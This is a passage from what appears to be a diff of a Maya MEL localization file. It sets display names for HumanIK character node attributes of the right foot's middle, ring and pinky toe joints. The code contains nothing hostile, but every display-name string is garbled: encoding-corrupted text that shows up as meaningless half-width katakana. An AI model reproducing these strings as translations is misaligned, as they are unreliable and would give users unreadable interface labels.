ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitx", "モメスナヨミヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimity", "モメスナヨミヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitz", "モメスナヨミヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimit", "モメスナヨミヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitx", "モメスナヨミヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimity", "モメスナヨミヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitz", "モメスナヨミヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitEnablex", "ニモテモメスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitEnabley", "ニモテモメスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimitEnablez", "ニモテモメスナヨミヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitEnablex", "ニモテモメスナヨミヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitEnabley", "ニモテモメスナヨミヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MaxRLimitEnablez", "ニモテモメスナヨミヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1", "モメスナヒトヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1T", "モメスナヒトヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Tx", "モメスナヒトヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Ty", "モメスナヒトヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Tz", "モメスナヒトヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1R", "モメスナヒトヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Rx", "モメスナヒトヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Ry", "モメスナヒトヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Rz", "モメスナヒトヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1S", "モメスナヒトヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Sx", "モメスナヒトヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Sy", "モメスナヒトヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1Sz", "モメスナヒトヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateOrder", "モメスナヒトヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxis", "モメスナヒトヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxisx", "モメスナヒトヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxisy", "モメスナヒトヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1RotateAxisz", "モメスナヒトヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrient", "モメスナヒトヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrientx", "モメスナヒトヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrienty", "モメスナヒトヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1JointOrientz", "モメスナヒトヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimit", "モメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitx", "モメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimity", "モメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitz", "モメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimit", "モメスナヒトヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitx", "モメスナヒトヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimity", "モメスナヒトヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitz", "モメスナヒトヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitEnablex", "ニモテモメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitEnabley", "ニモテモメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MinRLimitEnablez", "ニモテモメスナヒトヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitEnablex", "ニモテモメスナヒトヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitEnabley", "ニモテモメスナヒトヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing1MaxRLimitEnablez", "ニモテモメスナヒトヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2", "モメスナヒトヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2T", "モメスナヒトヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Tx", "モメスナヒトヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Ty", "モメスナヒトヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Tz", "モメスナヒトヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2R", "モメスナヒトヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Rx", "モメスナヒトヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Ry", "モメスナヒトヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Rz", "モメスナヒトヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2S", "モメスナヒトヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Sx", "モメスナヒトヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Sy", "モメスナヒトヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2Sz", "モメスナヒトヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateOrder", "モメスナヒトヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxis", "モメスナヒトヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxisx", "モメスナヒトヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxisy", "モメスナヒトヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2RotateAxisz", "モメスナヒトヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrient", "モメスナヒトヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrientx", "モメスナヒトヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrienty", "モメスナヒトヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2JointOrientz", "モメスナヒトヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimit", "モメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitx", "モメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimity", "モメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitz", "モメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimit", "モメスナヒトヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitx", "モメスナヒトヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimity", "モメスナヒトヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitz", "モメスナヒトヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitEnablex", "ニモテモメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitEnabley", "ニモテモメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MinRLimitEnablez", "ニモテモメスナヒトヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitEnablex", "ニモテモメスナヒトヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitEnabley", "ニモテモメスナヒトヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing2MaxRLimitEnablez", "ニモテモメスナヒトヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3", "モメスナヒトヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3T", "モメスナヒトヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Tx", "モメスナヒトヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Ty", "モメスナヒトヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Tz", "モメスナヒトヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3R", "モメスナヒトヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Rx", "モメスナヒトヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Ry", "モメスナヒトヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Rz", "モメスナヒトヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3S", "モメスナヒトヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Sx", "モメスナヒトヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Sy", "モメスナヒトヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3Sz", "モメスナヒトヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateOrder", "モメスナヒトヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxis", "モメスナヒトヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxisx", "モメスナヒトヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxisy", "モメスナヒトヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3RotateAxisz", "モメスナヒトヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrient", "モメスナヒトヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrientx", "モメスナヒトヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrienty", "モメスナヒトヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3JointOrientz", "モメスナヒトヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimit", "モメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitx", "モメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimity", "モメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitz", "モメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimit", "モメスナヒトヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitx", "モメスナヒトヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimity", "モメスナヒトヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitz", "モメスナヒトヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitEnablex", "ニモテモメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitEnabley", "ニモテモメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MinRLimitEnablez", "ニモテモメスナヒトヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitEnablex", "ニモテモメスナヒトヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitEnabley", "ニモテモメスナヒトヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing3MaxRLimitEnablez", "ニモテモメスナヒトヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4", "モメスナヒトヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4T", "モメスナヒトヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Tx", "モメスナヒトヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Ty", "モメスナヒトヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Tz", "モメスナヒトヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4R", "モメスナヒトヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Rx", "モメスナヒトヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Ry", "モメスナヒトヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Rz", "モメスナヒトヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4S", "モメスナヒトヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Sx", "モメスナヒトヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Sy", "モメスナヒトヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4Sz", "モメスナヒトヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateOrder", "モメスナヒトヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxis", "モメスナヒトヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxisx", "モメスナヒトヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxisy", "モメスナヒトヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4RotateAxisz", "モメスナヒトヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrient", "モメスナヒトヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrientx", "モメスナヒトヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrienty", "モメスナヒトヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4JointOrientz", "モメスナヒトヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimit", "モメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitx", "モメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimity", "モメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitz", "モメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimit", "モメスナヒトヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitx", "モメスナヒトヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimity", "モメスナヒトヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitz", "モメスナヒトヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitEnablex", "ニモテモメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitEnabley", "ニモテモメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MinRLimitEnablez", "ニモテモメスナヒトヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitEnablex", "ニモテモメスナヒトヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitEnabley", "ニモテモメスナヒトヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRing4MaxRLimitEnablez", "ニモテモメスナヒトヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1", "モメスナミ。ヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1T", "モメスナミ。ヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Tx", "モメスナミ。ヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Ty", "モメスナミ。ヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Tz", "モメスナミ。ヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1R", "モメスナミ。ヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Rx", "モメスナミ。ヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Ry", "モメスナミ。ヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Rz", "モメスナミ。ヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1S", "モメスナミ。ヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Sx", "モメスナミ。ヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Sy", "モメスナミ。ヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1Sz", "モメスナミ。ヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateOrder", "モメスナミ。ヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxis", "モメスナミ。ヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxisx", "モメスナミ。ヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxisy", "モメスナミ。ヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1RotateAxisz", "モメスナミ。ヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrient", "モメスナミ。ヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrientx", "モメスナミ。ヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrienty", "モメスナミ。ヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1JointOrientz", "モメスナミ。ヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimit", "モメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitx", "モメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimity", "モメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitz", "モメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimit", "モメスナミ。ヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitx", "モメスナミ。ヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimity", "モメスナミ。ヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitz", "モメスナミ。ヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitEnablex", "ニモテモメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitEnabley", "ニモテモメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MinRLimitEnablez", "ニモテモメスナミ。ヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitEnablex", "ニモテモメスナミ。ヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitEnabley", "ニモテモメスナミ。ヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky1MaxRLimitEnablez", "ニモテモメスナミ。ヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2", "モメスナミ。ヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2T", "モメスナミ。ヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Tx", "モメスナミ。ヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Ty", "モメスナミ。ヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Tz", "モメスナミ。ヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2R", "モメスナミ。ヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Rx", "モメスナミ。ヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Ry", "モメスナミ。ヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Rz", "モメスナミ。ヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2S", "モメスナミ。ヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Sx", "モメスナミ。ヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Sy", "モメスナミ。ヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2Sz", "モメスナミ。ヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateOrder", "モメスナミ。ヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxis", "モメスナミ。ヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxisx", "モメスナミ。ヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxisy", "モメスナミ。ヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2RotateAxisz", "モメスナミ。ヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrient", "モメスナミ。ヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrientx", "モメスナミ。ヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrienty", "モメスナミ。ヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2JointOrientz", "モメスナミ。ヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimit", "モメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimitx", "モメスナミ。ヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootPinky2MinRLimity", 